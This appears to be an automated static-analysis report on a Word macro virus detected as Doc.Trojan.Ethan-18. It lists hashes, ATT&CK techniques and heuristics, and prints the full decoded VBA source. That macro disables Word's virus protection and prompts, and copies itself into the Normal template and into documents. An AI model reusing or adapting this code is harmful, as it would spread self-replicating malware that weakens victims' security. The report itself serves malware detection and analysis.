Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e86cacf4c6322c6…

MALICIOUS

Office (OLE)

29.0 KB Created: 2000-11-13 19:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c675d9f2b0d432f4315abb78fcaf1704 SHA-1: 870b2950b723339499be9612a71f6970106749a9 SHA-256: 5e86cacf4c6322c66e645fb82d3e85a4ee611aa16133301ce52c71666526439b
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to disable security features and manipulate its own code, suggesting an intent to execute further malicious actions. The ClamAV detection as 'Doc.Trojan.Ethan-18' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Ethan-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-18
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2120 bytes
SHA-256: c7ff5a3c3d2f6060e1170d8b0c8a3db46c55550fb5966983660e8bc754e1405f
Detection
ClamAV: Doc.Trojan.Ethan-18
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'Thanks Mr Ethan Frome...
'Sorry anyway...
On Error Resume Next

Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With

If Dir("c:\grover.___", 6) = "" Then
 Open "c:\grover.___" For Output As #1

 For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
  Print #1, a
 Next i
 
 Close #1
 SetAttr "c:\grover.___", 6
End If

If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"

b = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, b
b = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, b

Open "c:\grover.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines i, a
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill "c:\grover.___"
End Sub

Private Sub Document_Open()
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
End Sub

Private Sub Document_new()
ActiveDocument.ShowGrammaticalErrors = False
ActiveDocument.Content.Font.Size = 24
ActiveDocument.Content.Font.NameAscii = "Arial"
ActiveDocument.Content.Font.Bold = True
ActiveDocument.Content.ParagraphFormat.Alignment = wdAlignParagraphCenter
ActiveDocument.Content.Font.Animation = wdAnimationShimmer
ActiveDocument.Content.Text = "!MOSH to Super Grover!"
End Sub